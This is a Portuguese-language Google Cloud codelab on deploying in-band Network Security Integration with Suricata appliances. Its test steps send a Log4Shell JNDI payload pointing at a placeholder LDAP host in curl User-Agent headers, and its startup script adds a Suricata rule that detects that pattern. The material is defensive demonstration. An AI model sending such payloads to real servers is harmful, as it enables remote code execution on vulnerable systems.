1. Introdução
Integração de segurança de rede
A integração de segurança de rede (NSI, na sigla em inglês) oferece flexibilidade para melhorar a segurança da rede das suas cargas de trabalho. Você pode usar um appliance criado para fins específicos de um fornecedor independente de software (ISV) terceirizado ou um mecanismo de inspeção profunda de pacotes (DPI) para inspecionar o payload. Para permitir a integração perfeita com esses dispositivos de terceiros, o Google Cloud facilita a implantação transparente sem alterações de rede ou roteamento.
O Google Cloud oferece dois tipos de integração de segurança de rede: fora da banda e na banda. Neste laboratório, vamos mostrar as etapas para implantar a Integração de Segurança de Rede em banda.
Integração de segurança de rede em banda
A integração de segurança de rede oferece integração na banda usando a tecnologia de interceptação de pacotes, que permite colocar dispositivos de rede de terceiros no caminho do tráfego de rede para inspeção transparente das cargas de trabalho do Google Cloud. Esse processo usa o encapsulamento genérico de virtualização de rede (GENEVE, na sigla em inglês) para transportar pacotes com segurança para o appliance sem mudar os endereços IP de origem e destino originais.
A integração in-band oferece uma abordagem centrada em serviços para implantar e consumir dispositivos de rede inline de terceiros no modo bump-in-the-wire. Como produtor de serviços, você pode publicar um conjunto escalonável de dispositivos de rede de terceiros como uma implantação de interceptação. Como consumidor de serviços, você pode usar políticas e regras do Cloud Next Generation Firewall para fazer uma seleção refinada de tráfego e redirecionar de forma transparente para um endpoint de interceptação local para inspeção.

Figura 1. Arquitetura de implantação de alto nível do serviço de integração na banda
Para mais informações sobre a integração de NSI em banda, consulte a visão geral.
Produtor de serviço na banda
Os produtores de serviços são onde os dispositivos de terceiros são implantados e gerenciados. Isso pode ser gerenciado por alguém na sua organização (equipe de segurança etc.) ou por um fornecedor externo. Os produtores registram as máquinas virtuais, que podem ser dispositivos de terceiros, como back-ends para um balanceador de carga de rede de passagem interna na rede VPC. Esses aparelhos inspecionam o tráfego de rede redirecionado a eles. Em seguida, os produtores de serviços criam implantações de interceptação, um recurso zonal que aponta para a regra de encaminhamento do balanceador de carga de rede de passagem interna.
Uma implantação de interceptação é um recurso zonal que representa o serviço de inspeção do produtor para uma zona específica. Os produtores criam implantações de interceptação para cada zona em que implantaram as VMs.
Um grupo de implantação de interceptação é um recurso global com escopo de projeto que permite que os consumidores se conectem aos serviços de inspeção de um produtor. Os produtores criam um grupo de implantação de interceptação para agrupar várias implantações de interceptação zonais. Os produtores usam o IAM para controlar quais consumidores podem se conectar ao grupo de implantação.
Para mais informações, consulte Visão geral dos grupos de implantação de interceptação e Visão geral das implantações de interceptação.
Consumidor de serviço em banda
Os consumidores de serviços usam os serviços de inspeção oferecidos pelos produtores. Os consumidores especificam quais VPCs querem inspecionar e de qual produtor. Para isso, os consumidores criam um grupo de endpoints de interceptação, um recurso global que representa o lado deles da relação produtor-consumidor, e vinculam o grupo de endpoints de interceptação ao grupo de implantação de interceptação do produtor.
Para associar o grupo de endpoints de interceptação às VPCs de onde querem que o tráfego seja inspecionado, os consumidores criam uma associação de grupo de endpoints de interceptação. Para selecionar o tráfego que deve ser enviado ao produtor para inspeção, os consumidores criam e usam políticas de firewall de rede. Os consumidores criam um grupo de perfis de segurança que contém um perfil de segurança que faz referência ao grupo de endpoints de interceptação. Em seguida, os consumidores criam uma regra de firewall para redirecionar o tráfego que corresponde a critérios específicos para os dispositivos do produtor.
Embora o grupo de endpoints de interceptação(IEG, na sigla em inglês) seja um recurso no nível do projeto, o IEG e a associação dele não precisam estar no mesmo projeto. Uma IEG pode ser referenciada por uma associação de IEG de outros projetos na sua organização. Ele representa o lado do consumidor na relação produtor-consumidor. Os consumidores criam um grupo de endpoints de interceptação para consumir o serviço de inspeção de um produtor. Cada grupo de endpoints de interceptação no lado do consumidor está associado a um único grupo de implantação de interceptação no lado do produtor.
Para mais informações, consulte Visão geral dos grupos de endpoints e associações de interceptação.
Os consumidores precisam criar uma regra de política de firewall para redirecionar o tráfego ao grupo de endpoints de interceptação. Os consumidores podem especificar os critérios de correspondência na regra da política de firewall, o que permite definir qual tráfego será inspecionado pelos dispositivos do produtor.
Os consumidores criam um perfil de segurança de interceptação personalizado para especificar qual grupo de endpoints de interceptação deve ser usado para inspecionar o tráfego.
Os consumidores criam um grupo de perfis de segurança para definir um grupo de recursos de inspeção de segurança que devem ser aplicados a um subconjunto específico de tráfego. Um grupo de perfis de segurança contém um único perfil de segurança de interceptação personalizada.
O que você vai criar

Figura 2. Arquitetura de implantação de alto nível para este codelab
Para simplificar este codelab, você vai usar um único projeto e criar duas redes VPC, além de gerenciar vários recursos de rede e segurança. Este laboratório demonstra como implantar a integração de serviços de rede em banda com um dispositivo de terceiros para inserção transparente de segurança.
Os fluxos a serem inspecionados serão selecionados usando parâmetros de correspondência do Cloud Firewall, incluindo cinco tuplas (IP de origem, IP de destino, protocolo, porta de origem, porta de destino). Para simplificar este laboratório, você vai inspecionar todo o tráfego de SAÍDA na porta TCP 80.
O produtor vai permitir a entrada do IP do gateway da sub-rede VPC do produtor (10.0.0.1/32) para pacotes UDP com porta de destino 6081, a porta conhecida do GENEVE.
O estado final da base de regras da política de firewall de rede será semelhante à tabela abaixo:
Política de rede do produtor:
Prioridade | Direção | Protocolo | Destino | Origem | Destino | Porta de destino | Ação |
100 | Entrada | Todos | Todos | Verificações de integridade | Qualquer | Tudo | Permitir |
200 | Entrada | Todos | Todos | IAP | Qualquer | Tudo | Permitir |
300 | Entrada | UDP | Todos | 10.0.0.1/32 | Qualquer | 6081 | Permitir |
Política de rede do consumidor:
Prioridade | Direção | Protocolo | Destino | Origem | Destino | Porta de destino | Ação |
200 | Entrada | TCP | Todos | IAP | Qualquer | 22 | Permitir |
800 | Saída | TCP | Todos | Tudo | Qualquer | 80 | Interceptar |
O que você vai aprender
- Como implantar a integração de segurança de rede em banda
O que é necessário
- Organização e projeto do Google Cloud
- Permissões adequadas do IAM
- Conhecimento sobre como implantar instâncias e configurar componentes de rede
- Conhecimento da configuração do firewall de política de rede
2. Antes de começar
Permissões e papéis do IAM
Para concluir o codelab de Integração de Segurança de Rede (NSI) em banda, você vai precisar dos seguintes papéis do IAM:
- Administrador de rede do Compute (
roles/compute.networkAdmin): necessário para criar e gerenciar redes VPC, sub-redes, Cloud Routers, gateways NAT e serviços de back-end do balanceador de carga. - Administrador de segurança do Compute (
roles/compute.securityAdmin): necessário para criar, configurar e associar políticas e regras de firewall de rede global. - Administrador da instância do Compute (
roles/compute.instanceAdmin.v1): necessário para implantar, usar SSH e excluir os dispositivos Suricata e as VMs de teste do consumidor. - Administrador de implantação de interceptação (
roles/networksecurity.interceptDeploymentAdmin): usado pelo produtor para criar e gerenciar implantações de interceptação zonais e o grupo de implantação global. - Administrador de endpoint de interceptação (
roles/networksecurity.interceptEndpointAdmin): usado pelo consumidor para criar grupos de endpoints de interceptação e associá-los à rede VPC. - Usuário de implantação de interceptação (
roles/networksecurity.interceptDeploymentUser): necessário no projeto do produtor para conceder ao consumidor permissão para se conectar ao grupo de implantação do produtor. - Administrador de perfil de segurança (
roles/networksecurity.securityProfileAdmin): necessário no nível da organização para criar e gerenciar perfis de segurança de interceptação e grupos de perfis de segurança personalizados. - Administrador de uso de serviços (
roles/serviceusage.serviceUsageAdmin): necessário para ativar as APIsnetworksecurity.googleapis.comecompute.googleapis.comexigidas pelos recursos do NSI. - Leitor do projeto (
roles/viewer): necessário para recuperar a configuração do projeto e as informações de ancestralidade da organização para as variáveis de ambiente usadas em todo o laboratório.
APIs Google Cloud
Verifique se as APIs do Cloud necessárias estão ativadas no seu projeto.
Ative as APIs necessárias e execute os seguintes comandos gcloud no Cloud Shell.
gcloud services enable compute.googleapis.com \ networksecurity.googleapis.com \ cloudresourcemanager.googleapis.com
Criar/atualizar variáveis
Este codelab usa $variáveis para ajudar na implementação da configuração do gcloud no Cloud Shell.
No Cloud Shell, execute os comandos abaixo, substituindo as informações entre colchetes conforme necessário:
gcloud config set project [project-id] export project_id=$(gcloud config list --format="value(core.project)") export org_id=$(gcloud projects get-ancestors $project_id --format="csv[no-heading](id,type)" | grep ",organization$" | cut -d"," -f1 ) export region=[region] export zonea=[first-zone from $region] export zoneb=[second-zone from $region] export zonec=[third-zone from $region]
3. Ações do produtor
Esta seção vai abordar o lado da implantação do produtor. Isso inclui a implantação da VPC, do dispositivo virtual de rede de terceiros e de todos os componentes relevantes para a Integração de Segurança de Rede.
Componentes da VPC e do Cloud NAT
- Crie a VPC e a sub-rede:
gcloud compute networks create producer-vpc --subnet-mode=custom gcloud compute networks subnets create producer-$region-subnet \ --range=10.0.0.0/24 --network=producer-vpc --region=$region
- Receba o IP do gateway da sub-rede para uso em regras de firewall:
export gatewayip=$(gcloud compute networks subnets list --project=$project_id --network=producer-vpc --format=json | jq -r '.[0].gatewayAddress')
- Crie uma política e regras de firewall para a VPC do produtor. Essas regras de firewall vão permitir a entrada para verificações de integridade, IAP e tráfego originado do NSI:
gcloud compute network-firewall-policies create producer-fwpolicy \
--global
gcloud compute network-firewall-policies rules create 100 \
--description="allow http traffic from ilb health-check ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:80 \
--direction=INGRESS \
--src-ip-ranges=35.191.0.0/16,130.211.0.0/22
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
gcloud compute network-firewall-policies rules create 300 \
--description="allow GENEVE UDP:6081 packets from gateway" \
--action=allow \
--firewall-policy=producer-fwpolicy \
--global-firewall-policy \
--layer4-configs=udp:6081 \
--direction=INGRESS \
--src-ip-ranges=$gatewayip
- Associe a VPC do produtor à política de firewall de rede:
gcloud compute network-firewall-policies associations create \
--firewall-policy producer-fwpolicy \
--network producer-vpc \
--name producer-fwpolicy-association \
--global-firewall-policy
- Implante o Cloud Router e o Cloud NAT para o dispositivo virtual de rede (NVA, na sigla em inglês) de terceiros para fazer o download dos pacotes e atualizações necessários:
gcloud compute addresses create producer-$region-cloudnatip --region=$region export cloudnatip=$(gcloud compute addresses list --filter=name:$region-cloudnatip --format="value(address)") gcloud compute routers create producer-$region-cr \ --region=$region --network=producer-vpc gcloud compute routers nats create producer-cloudnat-$region \ --router=producer-$region-cr --router-region $region \ --nat-all-subnet-ip-ranges \ --nat-external-ip-pool=producer-$region-cloudnatip
VMs de terceiros
Neste laboratório, você vai implantar o Suricata, um serviço de detecção de ameaças de código aberto. O comando tem um script de inicialização que instala e configura o Suricata. Há também iptables que realizam a conversão de endereços de rede de origem (SNAT) e de destino (DNAT) para processar e responder a pacotes GENEVE.
- Implante uma NVA de terceiros na primeira zona.
gcloud compute instances create suricata-$zonea \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.3 \
--zone $zonea \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
- Implante uma NVA de terceiros na segunda zona:
gcloud compute instances create suricata-$zoneb \
--shielded-secure-boot \
--subnet=producer-$region-subnet \
--no-address \
--private-network-ip 10.0.0.4 \
--zone $zoneb \
--metadata startup-script='#! /bin/bash
sudo sysctl -w net.ipv4.ip_forward=1
apt-get update
apt-get install nginx suricata tcpdump -y
sudo suricata-update
sudo systemctl stop suricata
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.11/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.11
sudo iptables -t nat -A PREROUTING -p udp -s 10.0.0.1/32 -d 10.0.0.12/32 -i ens4 -j DNAT --to-destination 10.0.0.1
sudo iptables -t nat -A POSTROUTING -p udp --dport 6081 -s 10.0.0.1 -d 10.0.0.1 -o ens4 -j SNAT --to 10.0.0.12
sudo echo "drop http any any -> any any (msg:\"EXPLOIT Apache log4j RCE Attempt (http ldap) (CVE-2021-44228)\"; content:\"|24 7b|jndi|3a|ldap|3a 2f 2f|\"; nocase; rev:1;)" >> /var/lib/suricata/rules/suricata.rules
sudo iptables -I FORWARD -j NFQUEUE
sudo sed -i "s/\ \/run\/suricata.pid/\ \/run\/suricata.pid\ -i\ ens4/g" /lib/systemd/system/suricata.service
sudo sed -i "s/\ -\ interface:\ eth0/\ -\ interface:\ ens4/g" /etc/suricata/suricata.yaml
sudo sed -i "s/\/etc\/suricata\/rules/\/var\/lib\/suricata\/rules/g" /etc/suricata/suricata.yaml
sudo systemctl daemon-reload
sudo systemctl stop suricata
sleep 5
sudo suricata -c /etc/suricata/suricata.yaml -q 0 &
sleep 10
'
Componentes do balanceador de carga do produtor
- Crie uma verificação de integridade genérica usada para verificar a disponibilidade da NVA de terceiros:
gcloud compute health-checks create http nva-hc
- Crie um grupo de instâncias não gerenciadas por zona para cada zona:
gcloud compute instance-groups unmanaged create producer-$zonea-uig \ --zone $zonea gcloud compute instance-groups unmanaged create producer-$zoneb-uig \ --zone $zoneb
- Adicione as instâncias aos grupos de instâncias:
gcloud compute instance-groups unmanaged add-instances producer-$zonea-uig --instances=suricata-$zonea --zone=$zonea gcloud compute instance-groups unmanaged add-instances producer-$zoneb-uig --instances=suricata-$zoneb --zone=$zoneb
Valide se os grupos de instâncias contêm as instâncias com os seguintes comandos:
gcloud compute instance-groups unmanaged list-instances producer-$zonea-uig --zone=$zonea gcloud compute instance-groups unmanaged list-instances producer-$zoneb-uig --zone=$zoneb
Exemplo de resposta:
NAME: suricata-$zonea STATUS: RUNNING NAME: suricata-$zoneb STATUS: RUNNING
- Crie um serviço de back-end UDP interno:
gcloud compute backend-services create producer-bes \ --protocol=UDP \ --region=projects/$project_id/regions/$region \ --health-checks=projects/$project_id/global/healthChecks/nva-hc \ --load-balancing-scheme=INTERNAL
- Adicione os dois grupos de instâncias ao serviço de back-end:
gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zonea/instanceGroups/producer-$zonea-uig --region=$region gcloud compute backend-services add-backend producer-bes --instance-group=projects/$project_id/zones/$zoneb/instanceGroups/producer-$zoneb-uig --region=$region
- Reserve IPs internos para suas regras de encaminhamento. Cada implantação de interceptação requer uma regra de encaminhamento exclusiva:
gcloud compute addresses create producer-fr-$zonea-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.11
gcloud compute addresses create producer-fr-$zoneb-ip \
--region $region --subnet producer-$region-subnet \
--addresses 10.0.0.12
- Crie a regra de encaminhamento para cada zona. Isso é necessário porque a implantação da interceptação exige uma regra de encaminhamento exclusiva:
gcloud compute forwarding-rules create producer-fr-$zonea \ --ip-protocol=UDP --address=10.0.0.11 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet gcloud compute forwarding-rules create producer-fr-$zoneb \ --ip-protocol=UDP --address=10.0.0.12 \ --backend-service=projects/$project_id/regions/$region/backendServices/producer-bes \ --ip-version=IPV4 \ --ports=6081 \ --load-balancing-scheme=INTERNAL \ --region=projects/$project_id/regions/$region \ --network=projects/$project_id/global/networks/producer-vpc \ --subnet=projects/$project_id/regions/$region/subnetworks/producer-$region-subnet
Componentes de Integração de Segurança de Rede
- Crie um grupo de implantação de interceptação:
gcloud network-security intercept-deployment-groups create producer-nsi-deployment-group \
--location global \
--no-async \
--network producer-vpc
Verifique se o grupo de implantação foi criado com sucesso:
gcloud network-security intercept-deployment-groups describe producer-nsi-deployment-group \
--location global
Exemplo de resposta:
createTime: '2025-01-16T06:13:48.075183628Z' name: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group network: projects/$project_id/global/networks/producer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:13:50.556947138Z'
- Crie uma implantação de interceptação para cada zona:
gcloud network-security intercept-deployments create nsi-deployment-$zonea \
--location $zonea \
--forwarding-rule producer-fr-$zonea \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
gcloud network-security intercept-deployments create nsi-deployment-$zoneb \
--location $zoneb \
--forwarding-rule producer-fr-$zoneb \
--forwarding-rule-location $region \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Valide se as implantações de interceptação foram criadas:
gcloud network-security intercept-deployments describe nsi-deployment-$zonea \
--location $zonea
gcloud network-security intercept-deployments describe nsi-deployment-$zoneb \
--location $zoneb
Exemplo de resposta:
createTime: '2025-01-16T06:27:08.834875130Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/$zonea/interceptDeployments/nsi-deployment-$zonea reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:14.401072601Z' createTime: '2025-01-16T06:33:47.798469786Z' forwardingRule: projects/$project_id/regions/$region/forwardingRules/producer-fr-$zoneb interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/us-west1-b/interceptDeployments/nsi-deployment-$zoneb reconciling: false state: ACTIVE updateTime: '2025-01-16T06:34:25.258447474Z'
Parabéns, você concluiu a configuração do lado do produtor. Em seguida, configure o lado do consumidor para interceptar o tráfego e enviá-lo de forma transparente aos dispositivos de terceiros para aplicação.
4. Ações do consumidor
Embora este laboratório use VPCs separadas em um único projeto por simplicidade, em ambientes reais, os recursos do produtor e do consumidor podem estar em projetos diferentes ou até mesmo em organizações diferentes.
Componentes da VPC e do Cloud NAT
- Crie a VPC e a sub-rede:
gcloud compute networks create consumer-vpc --subnet-mode=custom gcloud compute networks subnets create consumer-$region-subnet \ --range=192.168.0.0/24 --network=consumer-vpc --region=$region
- Crie o Cloud Router e o gateway do Cloud NAT:
gcloud compute addresses create consumer-$region-cloudnatip \
--region=$region
export cloudnatip=$(gcloud compute addresses list \
--filter=name:consumer-$region-cloudnatip \
--format="value(address)")
gcloud compute routers create consumer-$region-cr \
--region=$region \
--network=consumer-vpc
gcloud compute routers nats create consumer-cloudnat-$region \
--router=consumer-$region-cr --router-region $region \
--nat-all-subnet-ip-ranges \
--nat-external-ip-pool=consumer-$region-cloudnatip
Grupo de endpoints e associação de interceptação
- Criar grupo de endpoints de interceptação:
gcloud network-security intercept-endpoint-groups create nsi-endpoint-group \
--location global \
--no-async \
--intercept-deployment-group projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group
Validação de que o endpoint foi criado com sucesso:
gcloud network-security intercept-endpoint-groups describe nsi-endpoint-group \
--location global
Exemplo de resposta:
createTime: '2025-01-16T06:37:10.620185836Z' interceptDeploymentGroup: projects/$project_id/locations/global/interceptDeploymentGroups/producer-nsi-deployment-group name: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group reconciling: false state: ACTIVE updateTime: '2025-01-16T06:37:22.707994466Z'
- Crie uma associação de grupo de endpoints de interceptação especificando a VPC do consumidor:
gcloud network-security intercept-endpoint-group-associations create nsi-endpoint-group-assoc \
--location global \
--network consumer-vpc \
--no-async \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Validação:
gcloud network-security intercept-endpoint-group-associations describe nsi-endpoint-group-assoc \
--location global
Exemplo de resposta:
createTime: '2025-01-16T06:40:21.125202733Z' interceptEndpointGroup: projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group locations: - location: $zonea state: ACTIVE - location: $zoneb state: ACTIVE name: projects/$project_id/locations/global/interceptEndpointGroupAssociations/nsi-endpoint-group-assoc network: projects/$project_id/global/networks/consumer-vpc reconciling: false state: ACTIVE updateTime: '2025-01-16T06:40:56.085493855Z'
Perfil de segurança e grupo de perfis de segurança
Em seguida, você vai criar um perfil de segurança personalizado para interceptação e anexá-lo ao grupo de perfis de segurança. O perfil de segurança e o grupo de perfis de segurança são usados para interceptação de pacotes em dispositivos de terceiros.
- Crie um perfil de segurança de interceptação personalizada:
gcloud network-security security-profiles custom-intercept create nsi-intercept-profile \
--organization $org_id \
--location global \
--billing-project $project_id \
--intercept-endpoint-group projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group
Valide se o perfil de segurança foi criado:
gcloud network-security security-profiles custom-intercept \ describe nsi-intercept-profile \ --organization=$org_id \ --location=global
Exemplo de resposta:
{
"createTime": "2025-01-16T20:25:21.545756039Z",
"customInterceptProfile": {
"interceptEndpointGroup": "projects/$project_id/locations/global/interceptEndpointGroups/nsi-endpoint-group"
},
"etag": "vBAcVRe70k70rNJ3stzuCAvp_JbiPD2IWqcHKKAGlzw",
"name": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile",
"type": "CUSTOM_INTERCEPT",
"updateTime": "2025-01-16T20:25:24.101764860Z"
}
- Crie um grupo de perfis de segurança:
gcloud network-security security-profile-groups create nsi-spg \ --custom-intercept-profile=nsi-intercept-profile \ --organization=$org_id \ --project=$project_id \ --location=global
Valide se o SPG foi criado:
gcloud network-security security-profile-groups describe nsi-spg \
--organization $org_id \
--billing-project $project_id \
--location global
Exemplo de resposta:
"createTime": "2025-01-16T20:31:23.545946850Z", "customInterceptProfile": "organizations/$org_id/locations/global/securityProfiles/nsi-intercept-profile", "etag": "bAE-90dCYvYfOKga4EfGXWRGuJXJpsiTEEgVsw3AmM0", "name": "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg", "updateTime": "2025-01-16T20:31:27.588870973Z"
Política, regras e associação de firewall
- Crie uma política de firewall de rede global:
gcloud compute network-firewall-policies create consumer-fwpolicy \
--global
- Crie as regras de firewall:
gcloud compute network-firewall-policies rules create 200 \
--description="allow ssh traffic from identity-aware-proxy ranges" \
--action=allow \
--firewall-policy=consumer-fwpolicy \
--global-firewall-policy \
--layer4-configs=tcp:22 \
--direction=INGRESS \
--src-ip-ranges=35.235.240.0/20
- Crie a regra de firewall para interceptar todo o tráfego de saída usando o NSI e enviar para o dispositivo de terceiros de maneira transparente. Essa regra envia todo o tráfego de saída TCP:80 para inspeção.
gcloud compute network-firewall-policies rules create 800 \
--action APPLY_SECURITY_PROFILE_GROUP \
--firewall-policy consumer-fwpolicy \
--security-profile-group "organizations/$org_id/locations/global/securityProfileGroups/nsi-spg" \
--direction EGRESS \
--layer4-configs tcp:80 \
--dest-ip-ranges 0.0.0.0/0 \
--global-firewall-policy
- Associe a política de firewall de nuvem à rede VPC:
gcloud compute network-firewall-policies associations create \
--firewall-policy consumer-fwpolicy \
--network consumer-vpc \
--name consumer-fwpolicy-association \
--global-firewall-policy
VMs de consumidor
- Implante VMs usadas para validar a NSI. Você vai implantar três VMs em três zonas. Lembre-se de que apenas duas zonas têm o NSI ativado, enquanto $zonec não tem.
gcloud compute instances create consumer-$zonea \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.3 \ --no-address \ --zone $zonea gcloud compute instances create consumer-$zoneb \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.4 \ --no-address \ --zone $zoneb gcloud compute instances create consumer-$zonec \ --shielded-secure-boot \ --subnet=consumer-$region-subnet \ --private-network-ip 192.168.0.5 \ --no-address \ --zone $zonec
Teste da integração de segurança de rede em banda
- Conecte-se por SSH à VM em $zonea (consumer-$zonea). Envie tráfego de teste:
gcloud compute ssh consumer-$zonea \ --zone $zonea
- Envie tráfego de teste para http://www.google.com:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Saída esperada:
200
O código de status HTTP 200 indica que a solicitação do cliente foi recebida, compreendida e processada pelo servidor.
- Envie solicitações do log4j que precisam ser bloqueadas pelo Suricata usando o NSI.
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Saída esperada:
000
O código de resposta HTTP 000 é um código não oficial e não padrão usado por determinados softwares para indicar que nenhum código de status HTTP válido foi recebido. Isso provavelmente significa que a solicitação foi bloqueada pelo firewall.
- Saia da sessão SSH e retorne ao Cloud Shell.
exit
- Conecte-se por SSH à VM em $zoneb (consumer-$zoneb)
gcloud compute ssh consumer-$zoneb \ --zone $zoneb
- Da mesma forma, envie tráfego de teste:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Saída esperada:
200
- Envie uma solicitação log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Saída esperada:
000
- Saia da sessão SSH e retorne ao Cloud Shell.
exit
- Conecte-se por SSH à VM em $zonec (consumer-$zonec)
gcloud compute ssh consumer-$zonec \ --zone $zonec
- Da mesma forma, envie tráfego de teste:
curl -w "%{http_code}\\n" -s -o /dev/null http://www.google.com/ --max-time 2
Saída esperada:
200
- Envie uma solicitação log4j:
curl -w "%{http_code}\\n" -s -o /dev/null -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' http://www.google.com --max-time 2
Saída esperada:
200
Observe que essa solicitação foi concluída. Isso é esperado porque você não configurou o NSI com $zonec. O grupo de endpoints de interceptação tem apenas associações para $zonea e $zoneb.
- Saia da sessão SSH e retorne ao Cloud Shell.
exit
Validar se o Suricata recebeu e bloqueou as solicitações maliciosas
- Conecte-se por SSH à VM do Suricata em $zonea (suricata-$zonea) para verificar os registros:
gcloud compute ssh suricata-$zonea \ --zone $zonea
- Confira os registros filtrando por tipo de ataque:
cat /var/log/suricata/eve.json | grep log4j
Algumas entradas vão aparecer. Se não houver entradas, verifique os registros da VM do Suricata em $zoneb. Exemplo de resposta:
{"timestamp":"2025-01-22T19:54:37.347753+0000","flow_id":905867843361350,"in_iface":"ens4","event_type":"alert","src_ip":"192.168.0.2","src_port":58740,"dest_ip":"74.125.197.105","dest_port":80,"proto":"TCP","metadata":{"flowbits":["tcp.retransmission.alerted"],"flowints":{"tcp.retransmission.count":10}},"alert":{"action":"allowed","gid":1,"signature_id":2034783,"rev":2,"signature":"ET HUNTING Possible Apache log4j RCE Attempt - Any Protocol TCP (Outbound) (CVE-2021-44228)","category":"Misc activity","severity":3,"metadata":{"attack_target":["Server"],"confidence":["Medium"],"created_at":["2021_12_17"],"cve":["CVE_2021_44228"],"deployment":["Internal","Perimeter"],"mitre_tactic_id":["TA0001"],"mitre_tactic_name":["Initial_Access"],"mitre_technique_id":["T1190"],"mitre_technique_name":["Exploit_Public_Facing_Application"],"reviewed_at":["2024_05_07"],"signature_severity":["Major"],"tag":["Exploit"],"updated_at":["2021_12_17"]}},"http":{"hostname":"www.google.com","url":"/","http_user_agent":"${jndi:ldap://123.123.123.123:8081/a}","http_method":"GET","protocol":"HTTP/1.1","length":0},"app_proto":"http","flow":{"pkts_toserver":30,"pkts_toclient":24,"bytes_toserver":3672,"bytes_toclient":1280,"start":"2025-01-22T19:46:12.023110+0000"}}
- Saia da sessão SSH e retorne ao Cloud Shell.
exit
Se quiser, use SSH na VM do Suricata em $zoneb (suricata-$zoneb) e valide os registros.
gcloud compute ssh suricata-$zoneb \ --zone $zoneb
Confira os registros filtrando por tipo de ataque:
cat /var/log/suricata/eve.json | grep log4j
Exemplo de resposta:
